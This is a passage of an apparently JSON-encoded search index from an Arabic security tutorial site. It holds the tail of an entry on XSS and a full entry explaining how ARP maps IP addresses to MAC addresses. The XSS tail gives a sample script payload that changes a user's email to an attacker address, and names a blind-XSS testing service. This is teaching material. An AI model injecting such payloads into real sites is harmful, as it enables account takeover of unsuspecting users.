تكون مقبولة في الـ URL، زي ; و = اللي ممكن تسبب مشاكل في بعض السيرفرات أو تتحجب. Business Logic:\n\u0026lt;script\u0026gt;user.changeEmail(\u0026#39;attacker@hacker.thm*); \u0026lt;/script\u0026gt; لاختبار الــ Blind XSS \u0026mdash;\u0026gt; xss.report\n","permalink":"/vulnerabilities/xss/","summary":"شرح مبسط للثغرة وانواعها وكيفية معالجتها","title":"ثغرة XSS"},{"content":"الـ ARP (Address Resolution Protocol): بروتوكول الـ ARP هو بروتوكول شبكات بيُستخدم لربط عنوان الـ IP (اللي بيشتغل في طبقة الشبكة - Network Layer) بالماك أدرس (اللي بيشتغل في طبقة الـ Data Link). بمعنى تاني، هو الوسيلة اللي بتساعد الأجهزة تعرف الماك أدرس المرتبط بعنوان IP معين داخل الشبكة المحلية.\nازاي بيشتغل الـ ARP؟ ARP Request: لما جهاز عايز يبعت بيانات لجهاز تاني في نفس الشبكة المحلية، بيبعت (Broadcast) باسم ARP Request، بيسأل فيها: \u0026ldquo;مين عنده عنوان الـ IP ده؟ قولولي الماك أدرس بتاعكم!\u0026rdquo; الرسالة دي بتروح لكل الأجهزة في الشبكة. ARP Reply: الجهاز اللي عنده عنوان الـ IP المطلوب بيرد برسالة ARP Reply، وبيقول فيها: \u0026ldquo;أنا اللي عندي الـ IP ده، وده الماك أدرس بتاعي.\u0026rdquo; الرد ده بيروح مباشرة للجهاز اللي بعت الطلب (مش بث). تخزين المعلومات: الجهاز اللي بعت الطلب بيخزن الماك أدرس مع الـ IP في جدول الـ ARP Cache بتاعه، عشان ما يضطرش يكرر العملية دي كل مرة. علاقة الـ ARP بالماك أدرس: الـ ARP هو الجسر بين عناوين الـ IP والماك أدرس. من غيره، الأجهزة مش هتعرف توصل البيانات للجهاز الصحيح في الشبكة المحلية، لأن البيانات في طبقة الـ Data Link بتعتمد على الماك أدرس. يعني لو جهاز عايز يبعت بيانات لعنوان IP معين (زي 192.168.1.10)، لازم يعرف الماك أدرس المرتبط بالـ IP ده، والـ ARP هو اللي بيحل المشكلة دي. مثال عملي: لما تفتح موقع على الإنترنت من جهازك، جهازك بيبعت بيانات للروتر. عشان البيانات توصل للروتر، جهازك بيستخدم الـ ARP عشان يعرف الماك أدرس بتاع الروتر بناءً على عنوان الـ IP بتاعه، وبعدين يبعت البيانات للماك أدرس ده.\nالعلاقة بين الماك أدرس والـ ARP: الماك أدرس هو العنوان المادي اللي بيُستخدم لتحديد الأجهزة في الشبكة المحلية. الـ ARP بيربط بين الماك أدرس وعنوان الـ IP، عشان الأجهزة تقدر تبعت البيانات لبعضها داخل الشبكة. بدون الماك أدرس، الـ ARP ماكانش هيبقى ليه لازمة، لأنه بيعتمد عليه في توجيه البيانات. وبدون الـ ARP، الأجهزة مكانتش هتعرف تربط بين عناوين الـ IP والماك أدرس. ","permalink":"/basics/arp/","summary":"Learn how ARP works and its role in resolving IP addresses to MAC addresses on local networks.","title":"تعريف الـ ARP"}]